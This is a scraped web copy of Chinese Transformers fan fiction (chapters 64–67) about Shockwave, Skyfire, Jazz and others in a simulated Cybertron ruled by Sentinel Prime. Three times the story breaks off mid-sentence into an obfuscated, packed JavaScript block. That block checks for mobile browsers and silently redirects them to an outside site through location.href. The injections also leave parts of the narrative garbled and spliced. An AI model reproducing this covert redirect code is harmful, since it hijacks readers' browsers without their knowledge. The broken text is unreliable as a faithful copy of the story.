比城市更广阔,比传说更震撼。 “只是外观看上去像而已。” 震荡波冷静的声音将他拉回现实。 “从观测结果来看,那其实是个能识别通过者身份的特殊力场护盾,因为引力作用变成皇冠的形状……没想到开路先锋的特异点会被用在这,大概是和充电器的能力融合了。” “什么意思?” “就是字面含义,我曾经的学生里有几个下落不明,现在看来是被御天敌抓过去,应该是把异能核心取出来用了。” “那不就是被杀的意思?”多少知道一点异能者身体状态的天火紧皱眉头看着他,“看到这种事,作为老师你就不愤怒吗?” 震荡波没有回答。 在短暂的沉默后,他只是判断了天火的想法,然后做出了最优于现状的行动: “所以我们需要尽快阻止他,不能让御天敌控制整个塞伯坦。” 根据逻辑来看,现阶段不适合起冲突。 “好吧……既然你说那个力场会识别身份, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353901|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以直接冲进去会被瞬间发现,”天火也恢复冷静,思考道,“如果它无法识别物品,或许可以将设备投入后进行定点传送,我知道怎么做,但是需要时间。” “很不错的判断,但这次不用那么麻烦,霸天虎已经想好了对策。” 紫色涂装的科学家说着,随手点开自己的联络器,用天火也能听见的外放音量开口。 “震荡波联络空中指挥部,我已到达指定地点,请开始阶段二。” “真是慢得要死,知道了,”是红蜘蛛的声音,“相关人员已派过去了,记住,要是他回不来我会找你算账……” 不等他把威胁的话说完,震荡波就切断通讯。 已经派过来了? 天火搜索着四周情况,但下一秒他就看到面前的天空出现了空间扭曲的痕迹,紧接着,一名紫色的空中单位啪地瞬间出现。 他有着和红蜘蛛极为相似的外观,只是颜色有所差异。 “说是要带你们进去,”闹翻天看上去心情不太好,“你们两个,重量是多少?” 天火和震荡波说完之后,他更是面色一黑。 “你们以为带人传送要消耗多少能量?怎么还把飞行器和武器的重量也算上了?我带不进去,另请高明吧。” “飞行器可以留下,但武器不可或缺。”震荡波只是淡淡这么说道。 “那也不行,知道现在霸天虎能量有多短缺吗?我们已经好几个周循环没补充够能量……!” “闹翻天,执行命令。” “……” 虽然还想继续发牢骚,但震荡波的声音让他知道,要是再说下去,自己可能就会摔进地里。 “啧。” 最后,这个跃迁异能者不情不愿地答应下来。 “走吧,先到力场旁边,我们得尽可能减少传送距离。” —— ———— “将卡隆的火种点位都告诉我。” 尼昂,地下空间。 “好的。” 海格特破天荒地直接答应下来,然后用比以往快了三倍的传输速度,将御天敌所需的东西给了他。 这种反常的态度,让领袖反而有些奇怪。 “很惊讶吗?”机器说着,“我可以对你态度友善,也可以态度恶劣,仅此而已。” “是想彰显自己的选择权,好显得自己没那么走投无路吗?” 金红色的领袖眯起眼。 “您错了,我只是想彰显一下我的知性。”海格特回答,“和把别人当成实验材料,连塞伯坦人都算不上的领袖相比,我还没有那么可悲。” 还是一如既往,令人厌恶的从容。 但或许是这些日子的相处,让御天敌敏锐地感觉其中多了些什么。 于是带着一种怀疑,他头一次开始试探这台机器的想法。 “你说我可悲?” “毕竟品行和友善都是奢侈的东西,只有尚有余地的人才能拥有。”机器自下而上地看他,眼神中带着怜悯,“而你毫无余地,不得不令人同情。” “……” 不,那真的是怜悯吗? 那光学镜深处的动摇,比往常更努力地故意激怒自己的态度,实际上是…… “你在害怕?” 听见这句话,在短暂的停顿后,机械忍不住露出一丝笑来。 “我打心底里哑口无言了,你到底自大到什么地步才会说出这种话?”像是感觉不忍直视般,海格特干脆低下头去,“外面那个皇冠,难道和你膨胀的自我一样巨大吗?” 然而,察觉到什么的御天敌还是开了口: “把现在尼昂的所有火种点位图给我。” 话音落下。 “……好啊。” 伴随着轻快而温柔的声音,御天敌看到了机器过于幽深的目光。 仿佛液氮当头淋下的感觉。 温度极低的物质顺着所有体内管线逆流的感觉。 虽然没有直接体验过,但大概也就是如此吧。 于是,被那目光所震慑的御天敌,稍微,仅仅是稍微地—— 向后退了半步。 而就是这一瞬间的空隙,落入了机器的眼中。 “抓住你了。” 64.第六十四章 清澈透明的天空。 在传送进入尼昂后,天火首先注意到的就是这一点。 从城市内部看不见那顶金红色的王冠型力场,大概是被做成了只有从外部才能看见的单向设计,不过在城市的边缘,还是勉强能看见力场的痕迹。 于是天火收回视线,看向周围街景。 才过了短短数月工夫,各种破败的设施就已经消失不见,取而代之的是完善整洁的建筑群,处处透露着秩序凛然的气质。 简直就像是把宣传手册里的城市模型照搬进现实似的。 黄矮星的光芒浮在空中,将洁白的建筑群抹上暖色调的渐变,甚至有些神圣。 虽然对这座城市比较陌生,但至少,这里绝非他所知晓的尼昂。 “在物理意义上非常完美。”震荡波如此评价。 但这种近乎概念化的完美,反而透露出一种诡异的乏味。 这真的是御天敌能建造出来的城市吗? 天火默不作声地观察街上来往的人群,这里的居民很多,步伐匆匆,但街道却很安静。 就像是运行在既定的轨道上的流水线。 周围的所有人都是这样。 这种死气沉沉的氛围让科学家想到了什么,下意识看向身边的震荡波。 皮影戏? ——对全城的人口? 不,稍微想想就觉得荒谬,哪怕是御天敌,做这种事也太过匪夷所思,更别提手术耗时耗力,根本就没那么多脑科医生。 而且只有理性没有情感的塞伯坦人,完全是可以预见的无法控制,反而会成为不稳定因素,这违背了新领袖掌控一切的想法。 所以,大概是皮影戏的某种相似技术。 天火迅速进入思考。 并不会彻底消除情感,那么作用是什么? 只在关键时刻启用,让所有人各司其职的能力…… “控制。”他喃喃着。 “没错,就是控制,你的猜测是对的。”一直一言不发的震荡波忽然点头,“他拥有皮影戏的原型技术,一种可以将人改造成绝对听从自己命令的私兵的能力。原来如此,御天敌的真实身份我大概已经知道了。” “什么?” “没时间解释,现在必须离开这里。” 天火感到疑惑,不过霸天虎说得没错,他们现在动作越快越好。 从现身在城市内部之后,仅仅是经过半分钟,街头巷尾就出现了不少看过来的视线。 被发现了。 “这是可预见的情况,被其中一个目击过后,所有经过改造的私兵都会共享情报,现在才被发现,我们的运气已经在平均值以上。”震荡波说着,将一份地图发给天火,“按照这个路线移动,接下来需要去地下。” “你是怎么知道的?” “我有我的办法。” 话音刚落,整齐划一的脚步声就开始以极快的速度朝两人的方向逼近。 怀着些许困惑,天火还是沉默着离开了混乱的街道,和震荡波一同进入地下,甩开了追兵。 在排除障碍,走进地下空间后,两人步入了幽深的长长通道。 这里就是当初那颗陨石坠落的地方,但从外界来看已经是平整无瑕的建筑,只有内部走到很深的地方,才依稀能看到一些痕迹。 天火随手切下来一块陨石残片,打量片刻后,就收入自己手臂外甲内的储存空间。 “你之前说起御天敌的真实身份,现在能告诉我吗?” “是的。”震荡波点头回答,“他是十三元祖之一,微天星的后裔。” “……你是说头领战士。” “和有知识的人说话就是方便,但还有一些琐碎的内容需要补充——虽然一想到头领战士,就会想起他们能操控巨大机体,但这并不是微天星部落技术的极限,他们早就掌握了质量置换技术,所以理论上,即便是成为一台中型机的头雕也是可能的。” “你到底想说什么?” 一种极度不祥的预感忽然让天火火种凝滞。 “意思是,我需要向你重新确认之前的交易内容。” 震荡波说到这停下了下来,但天火的音频接收器依旧听见了脚步声。 “‘你找到海格特,然后我破坏机器’。” 是有什么人,正在从前方的地下空间深处,朝着自己的方向走来。 “关于这里‘海格特’的具体定义,能跟我说清楚吗?” 伴随着科学家毫无波澜的话语,入眼的是—— 变成了金红色涂装的,海格特的机体。 —— ———— “你是谁?” 虽然发出了这样的疑问,但天火没有得到解答。 面前的“海格特”只是用一种前所未有的冷漠目光看向自己,然后开了口。 “跟你们这些不满于变形形态的家伙不同,我会将所有人的功能发挥到极致,建设一个绝对效率的,完美的塞伯坦。如何?现在跪下以示敬意,我说不定还会允许你的存在。” 忽视了他的问题。 但是,毫无疑问。 眼前的这个人并不是海格特,但也并非不是海格特。 哪怕是在如此混乱的情况下,过度的智识还是让天火明白发生了什么,于是在一阵令人眩晕的忙音中,白色涂装的科学家什么也没有说出口。 这时,倒是一直沉默的震荡波开了口: “在你的意识中,占据主导地位的是海格特吗?” “意识和记忆也算是无法破坏的一部分,无限次数的再生已经持续了一段时间,但也差不多累了。” 自顾自地说着,金红色机器的神色依旧冷峻而傲慢,是别人记忆中的他完全不会做出的表情。 目睹此情此景,天火终于找回了自己的声音。 “将外面的人做成可以操控的傀儡,也是你的主意?” “问点更有价值的问题如何?” “回答我,你明明让那么多人离开了塞伯坦,”天火不可置信地说着,“让救护车的患者离开,让我离开的人是你对吧?” “看清现实吧,火种只有一个,所以这台机器的意志也只会按照御天敌的想法前进,”海格特露出稍显不耐烦的神色,“但我不打算替自己辩解,说到底这也不是什么重要的事。” 他们就像纠缠不休,又无法相溶的试剂。 与其被作为工具使用,不如掌握主动权才好,海格特最初是这样想的,但那颗火种的意志比他想象的更加强烈。 恐怕未来也是一样,会永远争夺下去,永远互相影响下去。 “好了,不想留下也无所谓。” 像是感到不耐般,海格特转头忽略了他,将视线转向震荡波。 在看到那颗和以往完全不同,从热情澎湃变成死气沉沉的火种时,身体中的某处响起了悲鸣。 后悔到了极点,愤怒到了极点,但是连握拳的意志都不存在。 因为,此刻的海格特并不属于故事的内侧。 这些留下的残片不存在自我,仅仅依附着御天敌的火种而存在,他自己则与任何人,任何事物,都不再产生关系。 “虽然你的火种很能隐瞒情报,但你多半是想破坏至高之门吧。” 金红色的王者从容地摊开一只手。 “来试试看?它的真正核心甚至不在这里,哪怕奇迹发生,你真的破坏了后面那颗巨大的眼睛也没有用。” 于是独眼的科学家瞬间停下动作,将武器瞄准了海格特。 “愚蠢的霸天虎暴徒,破坏终端更是没有效果。” “那如果破坏御天敌的火种?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360086|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “他已经被判定为‘我’的一部分,只会一起再生而已。” “原来如此,”震荡波平静开口,“天火,你现在就离开。” “不,我……” “谁给你们那种权利了?” 打断了两人的交流,暴君露出了充满恶意的笑。 “你们现在的状态还远远不配为塞伯坦的砖石,也罢,这样的例子我也见过很多,慢慢雕琢即可,在保留机能和智能的前提下,从分子结构开始重组也不是做不到。” 他身上的武器迅速变形,很快金红色的热能武器就准备完毕。 作为回应,天火也做好了战斗准备。 这个从未举起过武器的科学家,头一回做好了决心。 “我已经很确定你既不是海格特,也不是御天敌,既然如此,就不会让你继续侮辱海格特的理想。” “噢,气势不错,”机器睁大了光学镜,“作为妄想阻碍正义的恶人,不这样可不行。” 而就在此时。 ——“嘀、嘀。” 空间内响起了这样的声音。 “虽然不想打扰你们的对决,但我的自爆程序已经启动,大概五分钟后会将这附近全部化为真空地带。” 震荡波说着,看见“海格特”皱了起眉。 “你这炉渣,我已经很久没见到这么不肯屈服的人了,居然打扰我的兴致……” “比起指责我,你还是快去疏塞民众吧,不然引以为傲的‘完美’世界可就要遭受损失,你想做手脚的话,我就缩短倒计时。” 这招果真奏了效,不允许自己的国度出现任何不完美之处的领袖剐了他一眼,就调出内线通讯,而在拖延了对方的行动后,震荡波再次看向天火。 “你还不能死,必须替他看下去,去见证塞伯坦的结局。” 然后,他将什么东西扔到了天火身上。 那是一个信号发射器。 “你——!” 来不及说话,下一秒,天火就被遵循坐标找过来的闹翻天传送走了,只听到后者隐约的一声“等一下,坐标不是在震荡波身上吗!?”的怒吼。 偌大的地下空间内,只剩下震荡波和海格特两个人。 “我有一个问题。” “你都要死了,答案还有什么意义?” 正在内线中疏散民众的领袖嘲讽似地笑了一声,对于没有恐惧,没有情感的人,他连与之战斗的兴趣都提不起来。 “有的,但那个意义在世界之外。”震荡波说着,若有所思地看了一眼身边的虚空,“或者你就当是在我死前,让我死个明白也可以。” “说。” 接下来要随着爆炸一同灰飞烟灭,承受再生的痛苦但“海格特”的表情看上去就像是毫不在意似的。 “你说自己的本体不在这里,那它在哪?” “地下。” “我们已经在次级能量层了。” “所以我说了,地下,更深的地方。” “……” “哪怕你是将死之人,我也没理由告诉你更多。” “嗯,确实是。” 最后,科学家点了点头。 “谢谢你的回答,再见。” —— ———— 后来,金红色的王冠逐渐蔓延到整个塞伯坦。 霸天虎撤离到外太空,以月卫二作为基地,展开了对星球阶段性的进攻。 后来,塞伯坦成功抵御了来自虚空噬魔的袭击。 在极端的控制与专制下,这颗星球从未爆发战争,从未有过叛乱,一切如机械般有条不紊、效率极高、且停滞不前地运作着。 直到某日。 在一个更加恐怖的存在手下,金红色的王冠崩毁殆尽。 一切静静地落下帷幕。 65.第六十五章 “我问个问题,海格特……”天火看上去有些犹豫,“你应该没有那种,预见到自己的胜利之后就会开始玩的习惯吧?” 模拟结束。 有如实验室外观的观测室内。 天火坐在桌前,他的面前被放了一杯能量饮料,在实验室冷色灯光下泛着粼粼白光。 闻言,坐在他对面的海格特困惑地看着他:“玩?为什么你会这么想?” “在模拟世界最后的那些日子里,资源和外星种族的数量却已经非常少,所以毫无疑问是我输了。” 天火解释道。 “明明已经是你的胜利,最后却出现了和警车那时候一样的巨大未知怪物来毁灭塞伯坦……我想不出这里面的逻辑,所以在想该不会是嫌时间拖得太长,你故意让它出现的?” “我之前也说过,不会对参数做任何手脚,哪怕确信了胜利也一样。至于那个怪物,我只能模糊预见到它出现的未来,对原因并不清楚,宇宙中拥有强大智能的种族并不只有塞伯坦人一个。” 天火点了下头:“我明白了。” “明白什么?” “你将塞伯坦数据化,也是为了应对这场灾难吧。” 毕竟数据化这项行为本身,就相当于让这颗星球变成了时空上的空白。 对那个怪物来说,也就意味着无法破坏塞伯坦,于是这颗星球能逃脱被毁灭的危机。 “……虽然也有这个理由,但你是不是把我想得太高尚了点。” “这句话我只能原封不动地奉还,”白色涂装的科学家露出一个不含阴霾的微笑,“但你本来就是这样的人——奥提雷克斯的人都是这么想的,所以即便到了现在,我也不想成为你的敌人。” “是吗?就算我把涂装改成金红色也可以?” 天火的表情僵在脸上。 “我觉得那种颜色不太适合你……”他挣扎般地试着找了下借口,最后还是摇摇头,“抱歉,最近我或许会对这个配色产生应激……” “这样啊,”海格特叹了口气,“那热破就得小心点了。” 他们对视了一眼,然后都忍不住笑出声。 和警车那次不同,模拟结束的观测室内只有一片和谐的氛围,两人闲聊了一会儿,从过去到模拟世界里发生的事,全程心平气和。 “我还是正式一下公布模拟的结果,”海格特说,“根据你设计的参数,塞伯坦在过程中发展得很不错,但很可惜,不仅是资源被持续消耗,人口和其他种族的人口也都远低于现在,所以很遗憾,如果是三局两胜的模式,万物之流号已经输了。” “……抱歉。” “我早就看出来你的目的不是胜利,没必要道歉,设置怎样的参数是你们的自由,我不会食言。” “不,我道歉是因为在模拟的世界里,居然让你遭遇了那种境况。” 模拟世界中,海格特和御天敌,说是互相折磨了几百万年也不为过。 化为憎恶的怪物,无法认同彼此,只能在源源不断的愤怒中前进,简直如同活着的地狱。 天火对此很是自责。 虽然预感到自己的参数会导致功能主义政府兴起,毕竟震荡波没能如愿也就意味着遭到限制,而最可能限制他的就是功能主义政府。但对海格特的遭遇,天火完全没有想到,毕竟根本不知道至高之门就在尼昂地下。 看到这样的情景,海格特只能稍微叹了口气。 “你刚才喝了我提供的能量饮料,但它不会对你现在的内部能量造成什么改变,”他平静地摊了下手,开口道,“数据化就是这么一回事,因为没有时间的存在,也就没有变化,一切都停留在理论阶段,不会对你的机体产生实际影响,刚才的模拟也是一样,难道会有人因为梦见自己被杀,就去报复梦里的凶手吗?那并不合理。” 然而天火轻轻摇了摇头。 “梦是对现实的暗示,我记得荣……呃,那位心理医生以前这么说过。虽然是精神上的,但伤就是伤,希望御天敌的思想没有影响到现实里的你,要不然可能就真的无法展现出让你认同的未来可能性。” “未来……” 听到这句话,海格特忍不住低下头去。 “也就是说连你也不认同我。” 稍显落寞的表情。 天火愣了一下,他意识到自己好像还是头一次见到海格特如此明确地表达自己的负面情绪。 以往自己所认识的海格特总是迟钝又乐观,带着一种“怎样都好”的超然物外的乐天气质,哪怕到了后来,也只是变得稍微强硬了一些而已。 “……啊。” 回过神来的时候,他发现自己已经伸手拍了拍海格特的头雕。 后者有些惊讶地抬起视线,但没有反对。 是同意了? 这样想着,天火继续道:“这和是否认同你无关,从出发点来看我觉得你没错,塞伯坦人的确应该停下来好好思考一下未来,唯一的问题是,没有给你能够克服这些顾虑的指导,放任你走向极端,是作为团队长的我的失职。” “可是就算你们想出一个完美的方案,”机器淡淡地开口,“一整套完美的行星理论、资源理论,缔造出一个乌托邦,但又无法实现并永久持续地施行,这种事真的有……”意义吗? 【世界的意义之在世界之外。】 他忽然想起模拟世界里震荡波说的那句话,于是把声音咽了回去。 那个人所说的世界之外是哪里呢? 为什么无论什么模拟世界,震荡波都要如此执着于这个概念,然后不惜赴死? 似乎想到了相似的事,天火同样神色凝重起来,坐回位置上。 “这次的资料收集,在回到万物之流号探讨其内容之前,我还有一件事要问你。” “是什么?” “关于那颗陨石。” 让这个模拟的未来得以成立,有1%概率坠落在尼昂朝天塔的,有如命运般的小型陨石。 “模拟世界中的我后来对那颗陨石的碎片做过检查,结果是发现其中……不,那些繁琐的证明我就不说了,你和外面观战的人肯定也能知道,所以我就直说结论—— 那颗陨石,不是自然生成的。” “……” 天火的话音落下,两人都陷入一阵沉默。 思考良久,海格特先开了口。 “因为这件事发生在我获得至高之门的本体权限之前,而且它处于塞伯坦之外,只能通过倒推演算,具体情况我也不知道。” “我当然不会怀疑你。”天火说,“你不会对模拟世界的参数动手脚,我相信这一点,但是飞船上的其他人,他们是否愿意继续参加你主持的这场对局,我就不清楚了。” 海格特愣住了。 “你……”在回过神后,他有些不可置信地看着天火,“是在,威胁我?” 天火只是笑了笑,没有说话。 所谓“奉还”,难道就指的是这个意思? 事已至此,至高之门最后只能松了口。 “好吧,没能做出令人信服的模拟是我的责任,你们想要什么补偿?” “也没什么,就是希望你在之后的对决中,将参数实现可能性在1%以上的条件放宽一点。” 如果是这个倒也还好。 于是海格特点了点头:“我知道了,会酌情考虑,但与此同时判定三项数据的条件也会上升,没问题吧?” “没问题,”天火回答,“还有,希望你小心震荡波这个人。” “我很理解你不想放过他的心思,但必须提醒你,那个人已经被数据化了。” 然而天火依旧担忧地蹙起眉头:“希望是这样。” “……” 为了让这个 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“总之,这次无论是科研资料还是对功能主义政府的研究材料,我都收集了很多,迟早会将一个足够完善的未来展现给你看的。” 听到这句话,海格特也回以一个同样友善的微笑: “那不可能。” “说得真不留情啊……” 又说了几句话之后,海格特就将这个有如兄长般的科学家送回了万物之流号。 与此同时,之前对另一件事的猜测也有了结果。 “果然……” 在解除数据化的那短短一瞬间,震荡波的身影又消失了。 忽然出现的陨石、世界之外的概念、多次的自毁行为……哪怕没有天火的提醒,实际上,海格特也察觉到了异常。 将所有的情报整合下来,大概也就只有一个解释了—— 那个科学家,在自己发起全球数据化的一瞬间,将自己的一切数据留在原地,瞒过了至高之门。 不知从何时起,这里存在的只是数据而已。 “该死。” 海格特皱起眉,直接挥手抹除了震荡波的数据。 在消散的有如雾气般的数据流中,那人脸上扭曲的数据符号,有一瞬间形成了一个类似微笑的形状。 但是,充其量只是稍微有点不愉快而已。 本质上还是没有区别。 毕竟自己继续坚持全塞伯坦范围的数据化,那个人就无法阻碍任何事。 于是,海格特又回到了空无一人的观测室。 —— ———— 万物之流号。 会议室。 对这次的模拟来说,最重要的就是获得了“御天敌可以在一定程度上控制海格特”这个情报,虽然不知道对如今已经完全启动的至高之门有没有用,但总归是个好消息。 “我不觉得有哪里好了,”警车翻看着数据板上的数据,“御天敌早就被霸天虎杀死了,这条情报已经完全无效。” “可他是个头领战士,”刹车反驳,“我记得有新闻说他的脑袋不翼而飞,还记得吗?所以他完全可能还活着。” 警车没有抬头,只是淡淡回应了一句:“那他在哪里?” “……” “事情就是这样,和他已经死了没什么区别,除非奇迹发生,不然我们哪怕回到过去,也无法在五分钟内将跃迁圆盘送到他身边。” “……” “你怎么了?”大黄蜂问他旁边不知为何一直黑着脸沉默的热破,“身体不舒服吗?” “御天敌……” “嗯?” “那个迷你金刚居然是御天敌啊啊啊啊啊!?” 万物之流号上,回荡着近乎惨叫的喊声。 66.第六十六章 “既然你知道御天敌在哪,那你就负责把他带回来。” 这句话现在回想起来已经不知道是谁说的了,毕竟可能参加会议的每个人都是这么想,总之,在自己这辈子听过并且即将听到的所有话语中,如果要找出最能造成精神损伤的,那热破毫不犹豫地会选择这一句。 连反驳的施力点都找不到,从未如此恨过自己的冲动开口。 而当时,在那个生死攸关的关键时刻,面对那么多期待或者同情的眼神,他也努力张开嘴试图拒绝,听见的却是—— “小事一桩!” 这样被自己背叛般地一锤定音了。 于是,过去的尼昂。 数据化前五分钟。 在硝烟刚刚停息的战场侧翼,热破进入了意识回溯的时间。 五分钟不足以让混乱的大脑恢复冷静,更不足以改变人生,但足够他向奥利安接走几个跃迁用的圆盘,然后迅速赶往记忆中御天敌,或者说,无极所在的地方,一路狂奔。 算下来这都是海格特的问题,居然隐瞒这么重要的事,还骗他说那个迷你金刚叫什么senty…… 不行不能再想了,他要找时间把这段记忆删掉,这太猎奇了。 热破继续加速,直到过热的轮胎和几乎刮破表层外甲的硝烟让脑模块一片空白的忙音才满意,他极速穿梭在尼昂的大街小巷,凭借对地形的熟悉,不到一分钟就抵达了目标地点——尼昂的临时医疗坞。 然而,就在他打算直接破门而入的时候,一个身影忽然拦在了门口。 “抱歉啊,这里现在是军事重地,禁止入内。” 面对极速冲来,宛若火流星般的热破,那人只是风轻云淡地靠在门框上。 热破差点没刹住,在门口冒着烟停了下来。 “什么军事重地?”他脑子迅速转了一圈,“我是伤员,赶时间,让我进去。” “医生之前就去战地急救了,你没听到通知吗?” “什么?” “总之派克斯队长让我不能放任何人进去,要是让你进门,之后又要被警车唠叨。” “不行,我这里很急着找人啊!” “嗯,怎么办呢……” 谈话的间隙中,热破才头一回看清楚眼前这个人。 一身黑白色涂装,蓝色护目镜,体型也是中型机,言语间一派轻松随意的氛围,然而从短暂的印象来看,绝对不是什么好对付的类型。 换做平时热破可能会强行突破,但现在,五分钟的时间根本不够,要是真的打起来恐怕就真没时间了。 “我是斯坦尼兹的爵士,如果你想知道。”爵士说,“你要找什么人?或许我能帮你问问。” “一个迷你金刚。” “看到很多。” “金红色涂装。” “我再想想。” “看上去像是御天敌崇拜者似的。” “啊哈!” 爵士笑着拍了下手,比了个向上的手势。 “有,因为他看上去精神状态有点问题,我就把他带到屋顶上的特殊医疗舱里了,担心延误治疗嘛。” “……酷。” 想说的话太多,反而开不了口。 于是热破深深置换了一口气,干脆利落的一个假动作绕开爵士的视线,反手几个动作就翻上了临时医疗点的楼顶。 然后他就看到了一脸愤怒,几乎快到爆炸边缘的无极,被关在一个特制的金属治疗舱里,看到他之后猛地拍了下舱门。 “你这浮渣,又来找死是吧?” 用着和体型完全不匹配的霸道语气,无极对热破开了口。 不行,不能生气,也不能笑。 稍微想一下任务失败后万物之流号上那些人可能的反应,热破只能咬咬牙拿出圆盘。 “没时间解释了别管那么多总之灾难就要降临不想死就在这个跃迁圆盘输入你自己的火种代码然后按下开关它会把你送到安全的地方。” 用毫无感情的语气,告诉说完了所有应该说的内容。 说实话,他一点都不想和这个暴君有什么接触。 无极听完后也极其少见地沉默了几秒,然后做出了不负众望回应: “滚。” 现在愤怒转移到热破这里了。 “哈哈哈,”发出笑声的是同样来到楼上的爵士,他走到热破旁边,“有意思吧?甚至因为有趣过头,我连把他上交给新安保总部的时机都错过了,只能把人留在这。” “你到底做了什么啊!” 还不如那么做呢,至少能断了飞船上那些人的念想,让自己别过来找不痛快。 而且这家伙不是应该在楼下看门吗? “有什么好奇怪?”爵士抱着手臂歪了下头雕,“难道我要看着有迷你金刚即将受生命威胁而无动于衷?看到你气势汹汹一副要杀人的表情直跑上来却若无其事?任何有同理心的人都不会那么做的。” “呃——” 不知道该怎么解释的热破,只能发出宛如腹部被重击般的声音。 总有一天。 他咬紧牙关暗暗发誓。 总有一天我要练出连老通都无法反驳的口才,哪怕是歪理也无所谓。 我要无视所有人的想法,我行我素的活着。 “对了。” 爵士突然搭上热破的肩膀。 “你刚刚说的跃迁圆盘是什么东西?也告诉我吧。” —— ———— “所以,以上就是我现在出现在你面前的理由。” 现在,塞伯坦,观测室。 爵士往后靠上椅背,对海格特这么说着。 “……” “看你的表情,是想知道后续?那个叫无极的迷你金刚最后还是听话地使用了跃迁圆盘,然后我们就到了万物之流号,飞船上的人已经跟我解释过眼下的情况,我没有完全理解,但这实在太疯狂了,所以完全不想错过。” “是吗。” 海格特有些冷淡地回应了一声,顺势打量起四周。 在这快有如酒吧外街道的露天场景里,摆放着简单的桌椅,四周暖色调的灯光下,更为重要的是—— 和声。 仿佛幻想般的某种和声式音乐萦绕漂浮在四周,伴随着管乐的声音一起,让四周的场景变得更加惬意和谐。 他找了一圈,但没能找到声音的来源。 “这是麦格纳进行曲,它本不应该出现在这个街区,但既然观测室是从我记忆库里调出来的‘最放松舒适的场所’,那这里就应该有这种我热爱的音乐。” 和爵士表现出来的轻松态度并不完全一致,眼前这颗火种虽然十分热忱,却时刻保持着冷静和敏锐。 “你一上船就到了我这里,那应该对参数已经有想法了?” “不,模拟什么样的未来太复杂了,我完全没想好,只是觉得这件事很有趣而已。” “有趣?” “是啊,先前的对局我也大致看了一下记录,无论警车还是天火,虽然很感谢他们的贡献,但我对世界的未来、秩序和毁灭这些都不感兴趣,游戏应该有更有趣的玩法,所以他们的做法在我看来有点可惜。” 海格特对此感到困惑,他看向爵士的火种,发现这个人并不是虚张声势,也没有说谎。 而且虽然嘴上说着自己完全没做准备,但实际上爵士已经用很短的时间收集了难以估量的情报。 更重要的,是他的态度。 虽然抱有最基本的警惕,但整体上那颗火种却是放松的,就像这里并非已经静止的塞伯坦上的一个位置区域,而真是他故乡斯坦尼兹的街头。 哪怕是面临着末日般的情景,也像是遇到了习以为常的小事般毫无动摇。 单论对现状的把握和精神状态,可能有些在飞船上亲眼目睹过两场对决的人也比不过他。 “你的心理素质很强。” “有吗?” 并非自谦,这个佩戴着蓝色护目镜的塞伯坦人是真的认为这种事不值一提。 或者说,在他的价值观中,重要的部分另有其在。 所谓天才,或许说的就是这种情况。 或许是被周围的音乐所打动,海格特也不由得放松了态度,没有计较对方的说法。 “那你想怎么‘玩’这个游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是,忽然意识到音乐之美妙与可贵的塞伯坦人们,纷纷开始追寻起最能打动自身火种的音乐,彼此欣赏的人们走到一起,组合成以乐队为基础的单位。 —— “……” 海格特看着眼前的陌生城市,重新确认了一下内线邮件里显示的坐标。 应该是这里没错。 作为几乎是唯一没有被那道脉冲影响到的智能生命,他根本无法理解眼下发生的情况,只能茫然地看着四周,久久迷失在原地。 “你看上去很无聊啊,来加入我的乐队吗?” 这时,有人对他发起邀请,递上一把塞伯坦电吉他。 “?” 茫然地接过电吉他,海格特愣愣地看着眼前陌生的塞伯坦人。 “你是……” “你可以叫我爵士。” 黑白色涂装的塞伯坦人友善地说着。 “我会用阿格哈坦电贝司进行演奏,那么事不宜迟,麻烦你替我那个突然跑路的搭档上台演出吧,这场战斗非常关键,我们这次的对手是霸天虎的精锐部队‘深蓝音波’,要是输了,整个斯坦尼兹地区就要失守。” “???” 演出?地区失守? 这都什么跟什么? 像是不明白这些词为什么会被如此排列,海格特一脸茫然地被他拉进地下通道。 直到站在舞台上,被突然亮起的灯光和观众的欢呼声笼罩,他才回过神来。 “等一下,不对……” 他感觉自己的光学镜都在地震,甚至怀疑自己是不是出现了幻觉,几乎是慌张无措地看向旁边的爵士。 “可我不会弹这个叫吉什么的东西……” 然而那人只是笑着对他比了个拇指,在嘈杂的背景音中,用口型回了一句: “你能行的,用直觉去试试。” “啊!?” 然而这最后的反抗,也被淹没在随之而来的乐声中。 67.第六十七章 夜晚,斯坦尼兹地区。 闪烁的霓虹灯,路边即兴演奏悠扬乐器的人群,慢悠悠行走着的游客,还有从地下场馆里冒出来的各种类型的音乐,像是烟雾一般缓缓渗进阴暗的小巷深处。 海格特坐在这里的一处台阶上,身心俱疲地置换了一口气。 虽然迄今为止也经历了各种艰难的状况,但精神上混乱到这个地步还是头一回。 这次不只是精神,音频接收器也有点疼。 从喧闹的舞台出来后,留下的就只剩寂静。 为了不被找到,海格特用一块薄薄的金属板盖住自己,整个人蜷成一团,几乎和夜色融为一体。 他想起很多事,尤其是自从那道脉冲到来后,自己已经有很长的时间没出过门了,一直呆在尤斯镇的地下实验室旧址,研究塞伯坦人到底为什么会喜欢上音乐。 结果一无所获,越研究越觉得这根本就是个谜团。 